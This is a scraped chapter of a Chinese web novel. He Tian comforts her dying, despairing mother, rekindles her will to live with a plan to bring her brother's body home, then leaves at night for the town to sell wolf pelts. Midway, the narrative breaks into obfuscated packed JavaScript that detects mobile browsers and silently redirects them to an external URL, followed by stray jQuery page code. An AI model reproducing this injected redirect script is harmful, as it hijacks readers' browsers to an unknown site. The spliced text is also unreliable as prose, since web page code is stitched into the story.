柳二娘病着,胃口不太好,只吃了一碗便不吃了,禾甜就把锅里的咸粥都包圆了。
大骨头上面虽然没什么肉了,但关节处有脆骨,她就用手拿着啃上面的脆骨。
啃着啃着,最后干脆把骨头也都嚼吧嚼吧吃了,连个骨头渣都没吐。
把最后一口咸粥喝完,原本还想着尝试一下大米粥的禾甜,决定把剩下的那点米都留着煮咸粥。
吃完饭,刷了锅碗,禾甜把上午砍回来比较湿的柴摆放在院子里晾晒,又把留下来风干当口粮的那只狼处理了,又给自己烧了一锅水擦洗身上的脏污。
等做完这些,已是申时。
该睡觉养身体了。
关上院门,抱着跟屁虫一样跌跌撞撞跟在她身后的大黄准备进屋,瞥见墙根下已经不能被阳光照着的简陋鸟窝。
“叽?”秃秃鸟试探着扑腾翅膀。
禾甜瞧了瞧日头,毛都没长一根,不管它,会冻死的吧?
鸟妈妈怎么还不来找孩子?
“嗷~”
大黄冲着秃秃幼鸟的方向叫了一声。
秃秃鸟:“叽叽!”
大黄:“嗷~嗷嗷~~”
秃秃鸟:“叽叽叽!”
大黄还要叫,被禾甜捏住了嘴巴:“别吵了。”
一会儿把柳二娘吵醒。
她想了想把秃秃的没长毛的幼鸟连着那个简陋的窝,一起拿到屋里。
她又抱了些干草进来,在角落里,给大黄和秃秃幼鸟各做了一个相对暖和一些的窝。
“不准打架,”她摸了摸大黄的脑袋,交代它:“也不准咬邻居。”
大黄蹭着禾甜手心,嗷呜嗷呜了两声。
柳二娘醒了,看到大黄,诧异不已:“哪里来的小老虎?”
禾甜:“今天上山砍柴,碰到老虎和狼群打架,我就躲在一旁,等他们打的两败俱伤,我就把母虎咬死的狼还有小老虎带回来了。”
柳二娘身子弱,不好说实话吓着她。
说完她又把虎皮拿出来给柳二娘看:“母虎被狼群咬死了,虎皮到冬天给娘铺身子底下,暖和。”
柳二娘只觉得惊奇,却没有怀疑禾甜这话的真实性,否则实在无法解释她又得了虎皮又有那么多只狼,还抱了个小虎崽的事。
“等入了夜,我就带着那些狼和狼皮进城,去鬼市上碰碰运气,卖个好价钱,给娘抓几幅管用的药,保管吃了很快就好了。”禾甜把虎皮收起来,安慰柳二娘。
柳二娘却不同意:“你要天黑进城?那不成,你一个人不安全。”
禾甜却道:“我之前跟着爹去过几次,路都熟,不碍事的。”
柳二娘还是不答应,禾甜便道:“我会带着斧头和砍刀,狼我都能猎,有什么好怕?”
柳二娘还要说什么,禾甜便道:“家里没吃的了,东西得赶紧卖掉买粮食,你放心,明天天一亮我指定回来。”
见女儿这么坚持,还这么能干,柳二娘欣慰的同时,也觉得女儿确实变了不少,都是她不中用,才让女儿小小年纪要担负起这么重的担子,大半夜还要进城去卖货。
这般想着,柳二娘眼睛就红了。
禾甜:“……”
禾甜不会哄人,眼看着柳二娘越哭越伤心,茫然且无措的禾甜,突然灵光一闪,抱起角落里的大黄,就往柳二娘怀里塞:“娘,你摸摸大黄,可好摸了。”
毛茸茸软乎乎的触感,确实让柳二娘哭声一顿。
她不自觉在大黄身上摸了摸,低落的心情好转些许。
但她还是有些难过。
“要不,你现在就进城,在城里找个地方住着,等……”
“不用,”没等柳二娘说完,禾甜就打断她的话:“夜里赶路还清净呢,我不怕的。”
柳二娘沉默了好一会儿,才轻轻道:“别给娘抓药了吧,卖了钱,你就自己留着,娘的身子娘自己清楚,左右也好不了的。”
“娘!”禾甜正色道:“生病了就看大夫,今天齐神医都说了,可以治,你不要想那么多。”
柳二娘只是怕拖累了女儿。
她已经不中用了,死了就死了,何必要再把女儿拉进深渊呢。
而且,她也不想活了。
老头子死了,儿子也死了,她又拖着这么一幅不中用的身子,只会拖累女儿,还活个什么劲呐!
敏锐地察觉到柳二娘身上散发出来的死气,禾甜眉头动了动。
人最怕自己没有求生欲,自己没了求生欲神仙也难救。
她不知道说什么好,柳二娘也不再说话,屋里一时间死寂无声。
“叽叽!”
死寂被秃秃幼鸟的叫声打破,紧接着是大黄的嘤嘤声。
就这么一瞬间,屋内就从死寂活了过来。
不经意间禾甜瞄到了被柳二娘放在床里侧的那把弹弓。
那是禾栋亲手做的,死讯传回来后,柳二娘就把弹弓一直放在自己身侧。
眼看着柳二娘身上生机越来越少,禾甜想到什么,道:“娘,等你好了,我们去接大哥回家吧。”
满脸死气的柳二娘猛地抬头:“什么?”
禾甜:“都说入土为安,魂归故里,总不能让大哥一个人留在西北,等你好了,我们一起去把大哥接回来吧。”
柳二娘脸色明显变了,也不知道是激动,还是因为禾甜的话让她又迸发出了希望和生机,她脸上多了几分血色:“可、可西北那么远,那么……”
“再远,只要我们不放弃,总能走到地方,不是吗?”
柳二娘不说话了。
她就静静看着女儿,片刻,两行热泪无声掉落。
她抬手匆匆擦去眼泪,一边哭一边点头:“好好好,娘答应你,到时候咱们一起去接你哥回家。”
禾甜松了一口气:“那你要好好休息,明天等我抓了药回来,你也要好好吃药,早点痊愈,咱们就可以早点去接大哥。”
柳二娘哽咽着点头:“嗯,都听你的。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180712|165253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
禾甜把大黄抱走,让柳二娘休息:“睡会儿吧。”
柳二娘心绪彭拜,压根睡不着,但还是点了头,只躺在那儿闭上眼睛,并没有睡着。
禾甜把大黄放回窝里后,倒是很快就睡着了。
柳二娘不知道什么时候睁开了眼睛,她盯着屋顶看了一会儿,而后转头看向不远处熟睡中的女儿。
看着看着,她眼睛突然又红了。
良久,她才转过头,再次闭上了眼睛。
戌时一到,熟睡中的禾甜准时睁开了眼。
她看了眼已经黑透的天,没有磨蹭,直接坐了起来。
“田田,”柳二娘听到动静,出了声:“你醒了。”
禾甜嗯了一声:“娘你饿了吧,我这就去做饭。”
柳二娘想说她不饿,但想起下午她说的话,最后只是道:“好。”
家里早没灯油了,但这并不影响什么,禾甜视力非同一般,夜间也能如常视物,她重新找了个盆,先去李屠户家又挤了些羊奶——预备着夜里喂大黄的。
原本该傍晚过去,但傍晚她还在修复身体,没醒,好在这会儿李屠户还没睡。
回来后,她就着手做饭。
继续煮咸粥。
虽然没了大骨头,但有狼肉啊,只是怕柳二娘病中吃不惯,她就没有加,只加了猪油增香。
有了中午的经验晚上再煮就麻利多了。
早上剩的三个包子也蒸上,很快晚饭就做好了。
秦婶子抓的药虽然一般,等吃完了饭,禾甜还是煎了看着柳二娘喝完,这才收拾进城的物什。
骨架,一只整狼,还有三张狼皮,还有她用来补充能量的树葡萄,统统在背篓里放好,又铺上干草遮挡严实,做完这一切,禾甜进来同柳二娘告别。
“我煮了一碗羊奶放在床头柜上了,你想喝的时候可以喝一些,凉了就不要喝了,免得不舒服,明天一早我就回来。”
柳二娘犹豫片刻:“路上注意安全。”
禾甜应了一声,转身出门。
刚走了没两步,就被脚下小东西拌得差点摔跤。
“大黄,你干什么?回去睡觉。”禾甜用脚尖轻轻踢了踢它。
大黄固执地再次追上来。
禾甜又踢了它一下,把它脑袋掉了个个,大黄执着地再次追了上来。
见它如此执着,禾甜只能把它抱在怀里:“行吧,带你一块进城,但饿了不准咬我。”
嘴上这么说,还是给它带了一点儿羊奶。
屋里,秃秃的幼鸟也扑腾着没长毛的小翅膀不住叽叽叽。
禾甜隔着窗子对它说:“别叫了,你都没长毛,我怎么带你出门?”
幼鸟:“叽!”
禾甜没理它,转身走出院子。
戌时末,半湾村早已陷入沉睡,万籁俱寂中,只有一轮明月静静铺洒着清凉月光,把大地映得一片明亮。
禾甜背着背篓,抱着大黄,迎着月光往县城的方向走去。